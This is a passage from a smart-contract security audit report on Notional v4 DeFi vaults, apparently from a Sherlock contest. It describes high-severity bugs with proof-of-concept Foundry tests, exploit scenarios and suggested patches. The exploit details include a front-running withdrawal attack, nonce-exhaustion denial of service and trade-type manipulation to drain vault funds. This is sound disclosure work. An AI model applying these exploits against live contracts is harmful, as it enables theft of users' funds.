- When User B finalizes their request, the balance of token ID 2 is already 0. Thus, they only receive the ETH from token ID 3.
A malicious user can exploit this behavior by front-running another user’s withdrawal request, intentionally causing batch ID overlaps and withdrawing more tokens than intended.
A malicious user can:
- Withdraw more tokens than they should by front-running others.
- Cause financial loss to other users.
Update the DineroWithdrawRequestManager contract to track upxETH balances per withdrawal request:
Add state variables:
mapping(uint256 requestId => mapping(uint256 batchId => uint256 balance)) upxETHBalanceOfRequest;
mapping(uint256 batchId => uint256 balance) latestUpxETHBalance;Modify _initiateWithdrawImpl:
function _initiateWithdrawImpl(
address /* account */,
uint256 amountToWithdraw,
bytes calldata /* data */
) override internal returns (uint256 requestId) {
...
// Initial and final batch ids may overlap between requests so the nonce is used to ensure uniqueness
- return nonce << 240 | initialBatchId << 120 | finalBatchId;
+ requestId = nonce << 240 | initialBatchId << 120 | finalBatchId;
+ for (uint256 i = initialBatchId; i <= finalBatchId; i += 1) {
+ uint256 currentBalance = upxETH.balanceOf(address(this), i);
+ upxETHBalanceOfRequest[requestId][i] = currentBalance - latestUpxETHBalance[i];
+ latestUpxETHBalance[i] = currentBalance;
+ }
}Modify _finalizeWithdrawImpl:
function _finalizeWithdrawImpl(
address /* account */,
uint256 requestId
) internal override returns (uint256 tokensClaimed, bool finalized) {
finalized = canFinalizeWithdrawRequest(requestId);
if (finalized) {
(uint256 initialBatchId, uint256 finalBatchId) = _decodeBatchIds(requestId);
for (uint256 i = initialBatchId; i <= finalBatchId; i++) {
- uint256 assets = upxETH.balanceOf(address(this), i);
+ uint256 assets = upxETHBalanceOfRequest[requestId][i];
if (assets == 0) continue;
PirexETH.redeemWithUpxEth(i, assets, address(this));
tokensClaimed += assets;
+ latestUpxETHBalance[i] -= assets;
}
}
WETH.deposit{value: tokensClaimed}();
}sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/20
Source: #450
mstpr-brainbot, rudhra1749
When users have a withdrawal request, the Morpho price oracle will price the request based on the requested value instead of the share amount. However, if users choose to borrow directly from Morpho bypassing the lending router the shares will be priced based on their raw share value, not the request value.
As seen in the following lines:
If the transient t_currentAccount variable is set and the user has a withdrawal request, then the price will be based on the withdrawal request value. However, if the user is borrowing directly not via the lending router the t_currentAccount is never set. This causes the call to fall back to super.convertToAssets(shares), which prices based on yield token holdings instead.
This introduces a discrepancy: a user with an active withdrawal request is not holding yield tokens, but their shares will still be priced as if they are—potentially leading to mispricing or incorrect collateral valuation.
- Request a withdrawal and borrow from MORPHO directly not via lending router
None needed
Happens naturally
Oracle will misprice the users collateral. Users shares are not corresponding to yield tokens but withdrawal request underlying tokens but the oracle will price them wrong!
// forge test --match-test test_price_Inconsistency -vv
function test_price_Inconsistency() public {
console.log("Asset is", IERC20Metadata(address(asset)).symbol());
address tapir = msg.sender;
// deal(address(asset), msg.sender, defaultDeposit);
_enterPosition(tapir, defaultDeposit, 0);
uint256 balanceBefore = lendingRouter.balanceOfCollateral(tapir, address(y));
vm.startPrank(tapir);
lendingRouter.initiateWithdraw(tapir, address(y), getWithdrawRequestData(tapir, balanceBefore));
MarketParams memory marketParams = MorphoLendingRouter(address(lendingRouter)).marketParams(address(y));
Id idx = Id.wrap(keccak256(abi.encode(marketParams)));
address oracle = marketParams.oracle;
console.log("Price of the asset is", IOracle(oracle).price());
console.log("Price of the vault is", y.price(tapir));
}Test Logs: Ran 1 test for tests/TestSingleSidedLPStrategyImpl.sol:Test_LP_Curve_pxETH_ETH [PASS] test_price_Inconsistency() (gas: 1904287) Logs: Asset is WETH Price of the asset is 1001461263579509710000000000000 Price of the vault is 1001459261273599425000000000000
tbd
Source: #485
This issue has been acknowledged by the team but won't be fixed at this time.
Ledger_Patrol, bretzel, mstpr-brainbot, tjonair, xiaoming90
The migrateRewardPool function in the AbstractRewardManager contract is designed to migrate rewards from an old Convex reward pool to a new one by updating internal storage, withdrawing from old reward pool and depositing into the new reward pool. This mechanism relies on writing to local storage slots (e.g., _getRewardPoolSlot()), via delegatecall from a yield strategy contract.
In practice, this fails because when CurveConvex2Token is deployed, it deploys CurveConvexLib, where reward pool address is immutable. The CurveConvex2Token stores the address of CurveConvexLib into another immutable variable.
Since the reward pool address is immutable in CurveConvexLib, whenever Lp token is minted, the CurveConvex2Token deposit them to the same reward pool even if reward pool is changed in reward manager. There is no migration possible in CurveConvex2Token. This breaks the core migration functionality, despite the function being exposed and annotated for use when the reward pool changes.
This violates the IRewardManager interface contract NATSPEC, which states that migrateRewardPool should be used both initially and when the reward pool changes — of which reward pool change can be accomplished properly in this case.
None
None
Convex protocol can decide to deprecate an old pool and create a new one
None
Reward pool cannot be changed when convex migrates to a new reward pool
No response
Create a migration logic for CurveConvex2Token where reward pool can be migrated from one to another
Issue H-6: DoS might happen to DineroWithdrawRequestManager#_initiateWithdrawImpl() due to overflow on ++s_batchNonce
Source: #580
0xpiken, HeckerTrieuTien, Ledger_Patrol, Ragnarok, X0sauce, heavyw8t, y4y
When DineroWithdrawRequestManager#initiateWithdraw() is called to initiate WETH withdrawal, DineroWithdrawRequestManager#_initiateWithdrawImpl() will be executed to initiate a redemption from PirexETH:
function _initiateWithdrawImpl(
address /* account */,
uint256 amountToWithdraw,
bytes calldata /* data */
) override internal returns (uint256 requestId) {
if (YIELD_TOKEN == address(apxETH)) {
// First redeem the apxETH to pxETH before we initiate the redemption
amountToWithdraw = apxETH.redeem(amountToWithdraw, address(this), address(this));
}
uint256 initialBatchId = PirexETH.batchId();
pxETH.approve(address(PirexETH), amountToWithdraw);
// TODO: what do we put for should trigger validator exit?
PirexETH.initiateRedemption(amountToWithdraw, address(this), false);
uint256 finalBatchId = PirexETH.batchId();
@> uint256 nonce = ++s_batchNonce;
// May require multiple batches to complete the redemption
require(initialBatchId < MAX_BATCH_ID);
require(finalBatchId < MAX_BATCH_ID);
// Initial and final batch ids may overlap between requests so the nonce is used to ensure uniqueness
return nonce << 240 | initialBatchId << 120 | finalBatchId;
}The returned requestId is composed by three variables: nonce, initialBatchId, and finalBatchId.
nonce is calculated as below:
uint256 nonce = ++s_batchNonce;However, s_batchNonce is a uint16 variable. Once its value reaches 65535, then ++s_batchNonce will revert the whole initiateWithdraw() function, resulting no one can withdraw WETH though DineroWithdrawRequestManager. Anyone asset deposited through DineroWithdrawRequestManager will be locked forever.
The capacity of s_batchNonce is too small.
No response
No response
Malicious attacker can call DineroWithdrawRequestManager#stakeTokens() and DineroWithdrawRequestManager#initiateWithdraw() repeatedly with different accounts through an approved vault to quickly increase s_batchNonce to 65535.
Once s_batchNonce reaches 65535, DineroWithdrawRequestManager#initiateWithdraw() call will always revert and no any WETH can be withdrawn from DineroWithdrawRequestManager.
No response
The reason that defining s_batchNonce as uint16 is that s_batchNonce will be used together with two uint120 variables to make a uint256 variable:
return nonce << 240 | initialBatchId << 120 | finalBatchId;Since PirexETH.batchId() will increase one time only every 32 ether redemption, it is unnecessary to record two batchIds in requestId. requestId can be redesigned as below:
|255------136|135---------16|15---------0|
|s_batchNonce|initialBatchId|deltaBatchId|
Where uint16 deltaBatchId = finalBatchId - initialBatchId
Then s_batchNonce can be defined as a uint120 variable.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/20/files
Source: #624
Bluedragon, BugsBunny, elolpuer, jasonxiale, patitonar
In current implementation, RewardManagerMixin.claimAccountRewards function doesn't check account paramm, if the MORPHO is passed in as account, rewards will be transferred to MORPHO. Which isn't correct.
- As RewardManagerMixin.claimAccountRewards shows, the function can be called by anyone, and the
accountparam can be any address. - If the
msg.senderisn't a lending router, thesharesHeldwill be calculated bybalanceOf(account)in RewardManagerMixin.sol#L160-L164
155 function claimAccountRewards(
156 address account,
157 uint256 sharesHeld
158 ) external nonReentrant returns (uint256[] memory rewards) {
159 uint256 effectiveSupplyBefore = effectiveSupply();
160 if (!ADDRESS_REGISTRY.isLendingRouter(msg.sender)) {
161 // If the caller is not a lending router we get the shares held in a
162 // native token account.
163 sharesHeld = balanceOf(account);
164 }
...
177 }- While a normal user calls
AbstractLendingRouter.enterPositionto enter a vault, the vault will mint vaultToken in AbstractLendingRouter.sol#L241, and the vaultToken will be transferred to MORPHO in AbstractLendingRouter.sol#L244 So afterAbstractLendingRouter.enterPosition, MORPHO's vaultToken balance will increase.
So if MORPHO is passed to RewardManagerMixin.claimAccountRewards, it'll get reward tokens, which isn't correct.
None
None
The malicious calls AbstractLendingRouter.enterPosition with MORPHO address as account.
Please apply the following patch in tests/TestRewardManager.sol and run
forge test --mc TestRewardManager --mt test_liquidate_withRewards -vv
[⠑] Compiling...
No files changed, compilation skipped
Ran 1 test for tests/TestRewardManager.sol:TestRewardManager
[PASS] test_liquidate_withRewards() (gas: 1519209)
Logs:
y.balanceOf : 0
y.balanceOf : 50000000000000000000000000000
y : 0x1d1499e622D69689cdf9004d05Ec547d650Ff211
rewardToken.balanceOf(MorPho) : 0
emissionsToken.balanceOf(MorPho) : 0
rewardToken.balanceOf(liquidator) : 0
emissionsToken.balanceOf(liquidator) : 0
rewardToken.balanceOf(MorPho) : 119999671233240000000000
emissionsToken.balanceOf(MorPho) : 1090909080000000000
rewardToken.balanceOf(liquidator) : 0
emissionsToken.balanceOf(liquidator) : 454545450000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 532.76ms (11.83ms CPU time)
Ran 1 test suite in 628.60ms (532.76ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)As above output shows, MORPHO get rewards, which isn't correct.
diff --git a/notional-v4/tests/TestRewardManager.sol b/notional-v4/tests/TestRewardManager.sol
index dfdd463..286db0a 100644
--- a/notional-v4/tests/TestRewardManager.sol
+++ b/notional-v4/tests/TestRewardManager.sol
@@ -10,6 +10,7 @@ import "../src/withdraws/GenericERC20.sol";
import {AbstractRewardManager, RewardPoolStorage} from "../src/rewards/AbstractRewardManager.sol";
import {RewardManagerMixin} from "../src/rewards/RewardManagerMixin.sol";
import {ConvexRewardManager} from "../src/rewards/ConvexRewardManager.sol";
+import {console2} from "forge-std/src/console2.sol";
contract TestRewardManager is TestMorphoYieldStrategy {
IRewardManager rm;
@@ -337,7 +338,10 @@ contract TestRewardManager is TestMorphoYieldStrategy {
}
}
- function test_liquidate_withRewards(bool hasEmissions, bool hasRewards, bool isPartialLiquidation) public {
+ function test_liquidate_withRewards() public {
+ bool hasEmissions = true;
+ bool hasRewards = true;
+ bool isPartialLiquidation = true;
int256 originalPrice = o.latestAnswer();
address liquidator = makeAddr("liquidator");
if (hasEmissions) {
@@ -365,7 +369,9 @@ contract TestRewardManager is TestMorphoYieldStrategy {
asset.approve(address(lendingRouter), type(uint256).max);
uint256 sharesToLiquidate = isPartialLiquidation ? sharesBefore / 2 : sharesBefore;
// This should trigger a claim on rewards
+ console2.log("y.balanceOf :", y.balanceOf(address(liquidator)));
uint256 sharesToLiquidator = lendingRouter.liquidate(msg.sender, address(y), sharesToLiquidate, 0);
+ console2.log("y.balanceOf :", y.balanceOf(address(liquidator)));
vm.stopPrank();
if (hasRewards) assertApproxEqRel(rewardToken.balanceOf(msg.sender), expectedRewards, 0.0001e18, "Liquidated account shares");
@@ -380,21 +386,22 @@ contract TestRewardManager is TestMorphoYieldStrategy {
if (hasEmissions) vm.warp(block.timestamp + 1 days);
uint256 emissionsForLiquidator = 1e18 * sharesToLiquidator / y.totalSupply();
+ console2.log("y :", address(y));
+ console2.log("rewardToken.balanceOf(MorPho) :", rewardToken.balanceOf(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb)));
+ console2.log("emissionsToken.balanceOf(MorPho) :", emissionsToken.balanceOf(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb));
+ console2.log("rewardToken.balanceOf(liquidator) :", rewardToken.balanceOf(liquidator));
+ console2.log("emissionsToken.balanceOf(liquidator) :", emissionsToken.balanceOf(liquidator));
// This second parameter is ignored because we get the balanceOf from
// the contract itself.
+ vm.startPrank(address(0xa1a2bbccddeeff));
+ RewardManagerMixin(address(rm)).claimAccountRewards(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb), type(uint256).max);
+ vm.stopPrank();
RewardManagerMixin(address(rm)).claimAccountRewards(liquidator, type(uint256).max);
- uint256 expectedRewardsForLiquidator = hasRewards ? y.convertSharesToYieldToken(sharesToLiquidator) : 0;
- if (hasRewards) assertApproxEqRel(rewardToken.balanceOf(liquidator), expectedRewardsForLiquidator, 0.0001e18, "Liquidator account rewards");
- if (hasEmissions) assertApproxEqRel(emissionsToken.balanceOf(liquidator), emissionsForLiquidator, 0.0010e18, "Liquidator account emissions");
-
- vm.prank(msg.sender);
- lendingRouter.claimRewards(address(y));
- uint256 sharesAfterUser = lendingRouter.balanceOfCollateral(msg.sender, address(y));
- uint256 emissionsForUserAfter = 1e18 * sharesAfterUser / y.totalSupply();
-
- if (hasRewards) assertApproxEqRel(rewardToken.balanceOf(msg.sender), expectedRewards + expectedRewards - expectedRewardsForLiquidator, 0.0001e18, "Liquidated account rewards");
- if (hasEmissions) assertApproxEqRel(emissionsToken.balanceOf(msg.sender), emissionsForUser + emissionsForUserAfter, 0.0010e18, "Liquidated account emissions");
+ console2.log("rewardToken.balanceOf(MorPho) :", rewardToken.balanceOf(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb)));
+ console2.log("emissionsToken.balanceOf(MorPho) :", emissionsToken.balanceOf(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb));
+ console2.log("rewardToken.balanceOf(liquidator) :", rewardToken.balanceOf(liquidator));
+ console2.log("emissionsToken.balanceOf(liquidator) :", emissionsToken.balanceOf(liquidator));
}
function test_migrate_withRewards(bool hasEmissions, bool hasRewards) public {
@@ -761,4 +768,4 @@ contract TestRewardManager is TestMorphoYieldStrategy {
assertEq(rewardToken.balanceOf(msg.sender), rewardsBefore1, "User account rewards no change");
}
-}
\ No newline at end of file
+}Becase MORPHO will owns most of vaultToken, most of the rewards will be transferred to MORPHO, leading users get less rewards
No response
No response
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/notional-finance/notional-v4/pull/16/files
Issue H-8: Incorrect assumption that one (1) Pendle Standard Yield (SY) token is equal to one (1) Yield Token when computing the price in the oracle
Source: #689
mstpr-brainbot, xiaoming90
- Incorrect assumption that one (1) Pendle Standard Yield (SY) token is equal to one (1) Yield Token when computing the price in the oracle
When deploying the Pendle yield strategy, the deployer can choose to set the useSyOracleRate_ to true or false. If useSyOracleRate_ is set to true, the PENDLE_ORACLE.getPtToSyRate() function will be used to get the PT rate.
An example of such a setup is shown in the test script provided with the codebase, where the useSyOracleRate_ setting is set to true in Line 115 below.
File: TestPTStrategyImpl.sol
079: function deployYieldStrategy() internal override {
080: strategyName = "Pendle PT";
081: address(deployCode("PendlePTLib.sol:PendlePTLib"));
082:
083: setMarketVariables();
084: bool isSUSDe = tokenOut == address(sUSDe);
085:
..SNIP..
106: }
107:
108: w = ERC20(y.yieldToken());
109: // NOTE: is tokenOut the right token to use here?
110: (AggregatorV2V3Interface baseToUSDOracle, ) = TRADING_MODULE.priceOracles(address(tokenOut));
111: PendlePTOracle pendleOracle = new PendlePTOracle(
112: market,
113: baseToUSDOracle,
114: false,
115: true, // @audit-info useSyOracleRate_
116: 15 minutes,
117: "Pendle PT",
118: address(0)
119: );
120:
121: o = new MockOracle(pendleOracle.latestAnswer());
122: }When the useSyOracleRate is set to true, PENDLE_ORACLE.getPtToSyRate() function in Line 63 below will be used to get the PT rate. Note that getPtToSyRate will return how much Pendle's Standard Yield (SY) token per PT token.
File: PendlePTOracle.sol
61: function _getPTRate() internal view returns (int256) {
62: uint256 ptRate = useSyOracleRate ?
63: PENDLE_ORACLE.getPtToSyRate(pendleMarket, twapDuration) :
64: PENDLE_ORACLE.getPtToAssetRate(pendleMarket, twapDuration);
65: return ptRate.toInt();
66: }Note that Chainlink or other oracle providers do not provide a price feed directly for the Pendle SY token.
The root cause here is that the codebase incorrectly assumes the price of Pendle SY Token is always equivalent to the Yield Token. Thus, the protocol assumes that it is fine to use the price feed for the Yield Token for Pendle SY Token when computing the price. While this is generally true, it is not always the case that 1 SY == 1 Yield Token.
Not all SY contracts will burn one (1) SY share and return one (1) yield token back. Inspecting the Pendle's source code reveals that for some SY contracts, some redemptions will involve withdrawing/redemption from external staking protocol or performing swaps, which might suffer from slippage or fees.
Below is the Pendle's SY.redeem function showing that slippage might occur during the exchange, and thus 1 SY == 1 Yield Token does not always hold.
File: IStandardizedYield.sol
74: /**
75: * @notice redeems an amount of base tokens by burning some shares
76: * @param receiver recipient address
77: * @param amountSharesToRedeem amount of shares to be burned
78: * @param tokenOut address of the base token to be redeemed
79: * @param minTokenOut reverts if amount of base token redeemed is lower than this
80: * @param burnFromInternalBalance if true, burns from balance of `address(this)`, otherwise burns from `msg.sender`
81: * @return amountTokenOut amount of base tokens redeemed
82: * @dev Emits a {Redeem} event
83: *
84: * Requirements:
85: * - (`tokenOut`) must be a valid base token.
86: */
87: function redeem(
88: address receiver,
89: uint256 amountSharesToRedeem,
90: address tokenOut,
91: uint256 minTokenOut,
92: bool burnFromInternalBalance
93: ) external returns (uint256 amountTokenOut);The following _calculateBaseToQuote() function will be used to compute how many asset tokens are worth per PT token. Assume that useSyOracleRate_ is true.
- The
baseToUSDwill return how many asset tokens per Yield Token. Only the price feed of Yield token is supported by Chainlink and other oracle providers. - The
_getPTRatewill return how many Pendle SY tokens per PT token
The following formula is used to compute how many asset tokens are worth per PT token:
(asset tokens per PT) = (asset tokens per Yield Token) * (Pendle SY tokens per PT token)This formula will only work if Yield Token is equivalent to Pendle SY tokens. However, as mentioned earlier, this is not true. In some cases, one Pendle SY token might be worth 0.95 Yield Token. In this case, the price returned will be inflated since it assumes that 1 SY == 1 Yield Token.
File: PendlePTOracle.sol
68: function _calculateBaseToQuote() internal view override returns (
69: uint80 roundId,
70: int256 answer,
71: uint256 startedAt,
72: uint256 updatedAt,
73: uint80 answeredInRound
74: ) {
75: int256 baseToUSD;
76: (
77: roundId,
78: baseToUSD,
79: startedAt,
80: updatedAt,
81: answeredInRound
82: ) = baseToUSDOracle.latestRoundData();
83: require(baseToUSD > 0, "Chainlink Rate Error");
84: // Overflow and div by zero not possible
85: if (invertBase) baseToUSD = (baseToUSDDecimals * baseToUSDDecimals) / baseToUSD;
86:
87: int256 ptRate = _getPTRate();
88: answer = (ptRate * baseToUSD) / baseToUSDDecimals;
89: }High. Price computed will be inflated, leading collateral to be overvalued. As a result, users are allowed to borrow more than expected, affecting the protocol's solvency and increasing the risk of bad debt.
No response
No response
Issue H-9: Hardcoded useEth = true in remove_liquidity_one_coin or remove_liquidity lead to stuck fund
Source: #691
elolpuer, xiaoming90
Assume the Curve V2 pool with two-token setup. The following are some of the Curve pools that fit into this example.
https://www.curve.finance/dex/ethereum/pools/teth/deposit/ (t/ETH)
-
LP Token - https://etherscan.io/address/0x752ebeb79963cf0732e9c0fec72a49fd1defaeac
-
Coin 0 - 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 (WETH)
-
Coin 1 - 0xCdF7028ceAB81fA0C6971208e83fa7872994beE5 (T)
https://www.curve.finance/dex/ethereum/pools/cvxeth/deposit/ (cvxeth)
- LP Token - https://etherscan.io/address/0xb576491f1e6e5e62f1d8f26062ee822b40b0e0d4
- Coin 0 - 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 (WETH)
- Coin 1 - 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B (CVX)
Curve Pool's Coin 0 is WETH, and thus ETH_INDEX is set to 0 during deployment. I have checked the source code and confirmed that ETH_INDEX is 0. Readers can access the LP token's etherscan link above to view the source code and see that the ETH_INDEX is set to 0.
Note that the Yield Strategy vault's TOKEN_1 is equal to Curve Pool's Coin 0 and is set to WETH.
Assume that the Yield Strategy (YS) vault's asset is WETH, and we will enter the pool on a single-sided basis, with all deposited assets being in WETH.
The msgValue at Line 237 will be zero as TOKEN_1 is in WETH and not Native ETH (0x0). Thus, the condition 0 < msgValue will be evaluated to false.
As a result, no native ETH will be forwarded to the Curve Pool. Instead, the Curve pool will pull the WETH from the YS vault later. In this case, the use_eth parameter will be set to false, which makes sense because we are entering the pool with WETH and not Native ETH.
File: CurveConvex2Token.sol
219: function _enterPool(
220: uint256[] memory _amounts, uint256 minPoolClaim, uint256 msgValue
221: ) internal returns (uint256) {
..SNIP..
235: } else if (CURVE_INTERFACE == CurveInterface.V2) {
236: return ICurve2TokenPoolV2(CURVE_POOL).add_liquidity{value: msgValue}(
237: amounts, minPoolClaim, 0 < msgValue // use_eth = true if msgValue > 0
238: );
239: }Note that use_eth is false. The condition at Line 959 will be true and the Curve Pool will pull WETH from YS vault. Then, in Line 962, it will unwrap the WETH to Native ETH balance and proceed with the rest of the calculations.
File: v2 (0.3.1).py
920: @payable
921: @external
922: @nonreentrant('lock')
923: def add_liquidity(amounts: uint256[N_COINS], min_mint_amount: uint256,
924: use_eth: bool = False, receiver: address = msg.sender) -> uint256:
..SNIP..
954: for i in range(N_COINS):
955: if use_eth and i == ETH_INDEX:
956: assert msg.value == amounts[i] # dev: incorrect eth amount
957: if amounts[i] > 0:
958: coin: address = _coins[i]
959: if (not use_eth) or (i != ETH_INDEX):
960: assert ERC20(coin).transferFrom(msg.sender, self, amounts[i])
961: if i == ETH_INDEX:
962: WETH(coin).withdraw(amounts[i])
963: amountsp[i] = xp[i] - xp_old[i]The problem here is that when exiting the pool either via remove_liquidity_one_coin or remove_liquidity function, the useEth parameter is hardcoded to true, as shown below.
File: CurveConvex2Token.sol
244: function _exitPool(
245: uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
246: ) internal returns (uint256[] memory exitBalances) {
247: if (isSingleSided) {
248: exitBalances = new uint256[](_NUM_TOKENS);
..SNIP..
255: exitBalances[_PRIMARY_INDEX] = ICurve2TokenPoolV2(CURVE_POOL).remove_liquidity_one_coin(
256: // Last two parameters are useEth = true and receiver = this contract
257: poolClaim, _PRIMARY_INDEX, _minAmounts[_PRIMARY_INDEX], true, address(this)
258: );
259: }
..SNIP..
279: // Remove liquidity on CurveV2 does not return the exit amounts so we have to measure
280: // them before and after.
281: ICurve2TokenPoolV2(CURVE_POOL).remove_liquidity(
282: // Last two parameters are useEth = true and receiver = this contract
283: poolClaim, minAmounts, true, address(this)
284: );Since use_eth is true, in Line 1043 below, it will transfer Native ETH to YS when exiting the pool.
File: v2 (0.3.1).py
1024: @external
1025: @nonreentrant('lock')
1026: def remove_liquidity(_amount: uint256, min_amounts: uint256[N_COINS],
1027: use_eth: bool = False, receiver: address = msg.sender):
..SNIP..
1037: for i in range(N_COINS):
1038: d_balance: uint256 = balances[i] * amount / total_supply
1039: assert d_balance >= min_amounts[i]
1040: self.balances[i] = balances[i] - d_balance
1041: balances[i] = d_balance # now it's the amounts going out
1042: if use_eth and i == ETH_INDEX:
1043: raw_call(receiver, b"", value=d_balance)After exiting the pool, native ETH will reside in the YS vault, and the logic at Lines 205-211 will be executed. The first condition (ASSET == address(WETH)) will evaluate to true in Line 205 below. However, the subsequent conditions TOKEN_1 == ETH_ADDRESS and TOKEN_2 == ETH_ADDRESS both evaluate to false as neither TOKEN_1 nor TOKEN_2 is equal to ETH_ADDRESS(0x0). Note that TOKEN_1 is equal to WETH and not Native ETH (0x0) in this scenario.
In this case, the Native ETH residing in the YS will not be wrapped back to WETH.
File: CurveConvex2Token.sol
198: function unstakeAndExitPool(
199: uint256 poolClaim, uint256[] memory _minAmounts, bool isSingleSided
200: ) external returns (uint256[] memory exitBalances) {
201: _unstakeLpTokens(poolClaim);
202:
203: exitBalances = _exitPool(poolClaim, _minAmounts, isSingleSided);
204:
205: if (ASSET == address(WETH)) {
206: if (TOKEN_1 == ETH_ADDRESS) {
207: WETH.deposit{value: exitBalances[0]}();
208: } else if (TOKEN_2 == ETH_ADDRESS) {
209: WETH.deposit{value: exitBalances[1]}();
210: }
211: }
212: }Note that if it is a single-side exit, the _executeRedemptionTrades() will not be executed. If it is a proportional exit, the _executeRedemptionTrades() function will be executed, the condition at Line 229 (address(tokens[i]) == address(asset) -> (WETH == WETH) -> True) will be True and the finalPrimaryBalance will be set to the exit balance, and the for-loop will continue without swapping any assets.
Either way, the Native ETH remains in the YS vault.
File: AbstractSingleSidedLP.sol
223: function _executeRedemptionTrades(
224: ERC20[] memory tokens,
225: uint256[] memory exitBalances,
226: TradeParams[] memory redemptionTrades
227: ) internal returns (uint256 finalPrimaryBalance) {
228: for (uint256 i; i < exitBalances.length; i++) {
229: if (address(tokens[i]) == address(asset)) {
230: finalPrimaryBalance += exitBalances[i];
231: continue;
232: }Since the rest of the protocol works only with WETH, but not Native ETH. Many of the protocol's logic will be broken.
One instance is that the _burnShares will check the before and after balance of WETH to compute how many WETH asset to return to the user. Since we only have Native ETH here, but not WETH, the assetsWithdrawn will be zero, and users will receive nothing in return during withdrawal/redemption.
File: AbstractYieldStrategy.sol
416: function _burnShares(
417: uint256 sharesToBurn,
418: uint256 /* sharesHeld */,
419: bytes memory redeemData,
420: address sharesOwner
421: ) internal virtual returns (uint256 assetsWithdrawn) {
422: if (sharesToBurn == 0) return 0;
423: bool isEscrowed = _isWithdrawRequestPending(sharesOwner);
424:
425: uint256 initialAssetBalance = TokenUtils.tokenBalance(asset);
426:
427: // First accrue fees on the yield token
428: _accrueFees();
429: _redeemShares(sharesToBurn, sharesOwner, isEscrowed, redeemData);
430: if (isEscrowed) s_escrowedShares -= sharesToBurn;
431:
432: uint256 finalAssetBalance = TokenUtils.tokenBalance(asset);
433: assetsWithdrawn = finalAssetBalance - initialAssetBalance;High. Loss of assets as shown in above scenario.
No response
For exiting pool code, update the code to only set useEth to True if TOKEN_1 or TOKEN_2 is equal to ETH_ADDRESS(0x0). Otherwise, useEth should be False.
In this scenario, useEth should be false when exiting the pool. If it is set to false in the first place, WETH will be forwarded to the YS vault, and everything will work as expected without error.
Issue H-10: Malicious user can change the TradeType to steal funds from the vault or withdraw request manager
Source: #715
mstpr-brainbot, xiaoming90
Instance 1 - Yield Strategy Vault
Assume the following:
- The asset token of a yield strategy vault is WBTC
- The yield token of the vault is the LP token of a Curve Pool (DAI/WBTC)
- 1 WBTC is worth 100,000 DAI
- WBTC's decimals is 8. DAI's decimals is 18.
When redeeming the LP token, the vault received back 10,000 DAI and 1 WBTC. The intention of the _executeRedemptionTrades function is to swap all non-asset token (DAI in this example) to asset token (WBTC), as per the comment at Line 235 below.
Thus, the t.tradeType must always be set to TradeType.EXACT_IN_SINGLE so that exact amount of 10,000 DAI (10000e18) will be swapped for arbitrary amount of WBTC (asset token). In this case, it should receive 0.1 WBTC after swapping in 10,000 DAI.
Note
The t.minPurchaseAmount should also be set to the maximum value possible, so that maximum allowance will be granted to the external DEX protocol to pull tokens from Notional. Refer to here. In EXACT_OUT trades, approval will be given based on trade.limit value.
Note
This attack will work for any trading adapters, as demonstrated in the scenario below. However, if one needs maximum flexibility and control in crafting the exploit, such as the ability to set trade.amount to an arbitrary value instead of being restricted to exitBalances[i] (10000e18), they can consider using the 0x's ZeroExAdaptor because it allows users to define arbitrary execution data, and there is no check against the execution data internally.
File: AbstractSingleSidedLP.sol
222: /// @dev Trades the amount of secondary tokens into the primary token after exiting a pool.
223: function _executeRedemptionTrades(
224: ERC20[] memory tokens,
225: uint256[] memory exitBalances,
226: TradeParams[] memory redemptionTrades
227: ) internal returns (uint256 finalPrimaryBalance) {
228: for (uint256 i; i < exitBalances.length; i++) {
229: if (address(tokens[i]) == address(asset)) {
230: finalPrimaryBalance += exitBalances[i];
231: continue;
232: }
233:
234: TradeParams memory t = redemptionTrades[i];
235: // Always sell the entire exit balance to the primary token
236: if (exitBalances[i] > 0) {
237: Trade memory trade = Trade({
238: tradeType: t.tradeType,
239: sellToken: address(tokens[i]), // @audit DAI
240: buyToken: address(asset), // @audit WBTC
241: amount: exitBalances[i], // @audit 10,000 DAI => 10000e18
242: limit: t.minPurchaseAmount,
243: deadline: block.timestamp,
244: exchangeData: t.exchangeData
245: });
246: (/* */, uint256 amountBought) = _executeTrade(trade, t.dexId);
247:
248: finalPrimaryBalance += amountBought;
249: }
250: }However, the issue here is that the t.tradeType can be set to any value by the caller or user. Thus, instead of setting it to TradeType.EXACT_IN_SINGLE, a malicious user can set it to TradeType.EXACT_OUT_SINGLE.
If the trade data is set to TradeType.EXACT_OUT_SINGLE as follows:
Trade memory trade = Trade({
tradeType: TradeType.EXACT_OUT_SINGLE,
sellToken: DAI,
buyToken: WBTC,
amount: 10000e18, // 10,000 DAI
limit: t.minPurchaseAmount,
deadline: block.timestamp,
exchangeData: t.exchangeData
});This means that the trade will swap in an arbitrary amount of DAI for the exact amount of 10000e18 WBTC (= 1.0e14 WBTC token)
It is possible that there is an excess balance of DAI residing on the Yield Strategy vault due to several reasons (e.g., reward token happens to be DAI). In this case, the DAI tokens residing on the Yield Strategy vault will be swapped to 1.0e14 WBTC tokens.
To recap, if TradeType.EXACT_IN_SINGLE is used, the 0.1 WBTC will be received. If TradeType.EXACT_OUT_SINGLE is used, 1.0e14 WBTC will be received.
Thus, by changing the TradeType, the user could potentially obtain much more assets than expected and steal funds from the vault.
Following is an extract from the Contest's README. The protocol is designed to be extendable and intended to work with different pools and tokens. Thus, the above example is just one possible instance, and many other combinations are possible due to the different lending platforms, pool, tokens, reward tokens being supported by the protocol.
Q: Please discuss any design choices you made.
Notional Exponent is designed to be extendable to new yield strategies and opportunities as well as new lending platforms.
Instance 2 - Withdraw Request Manager
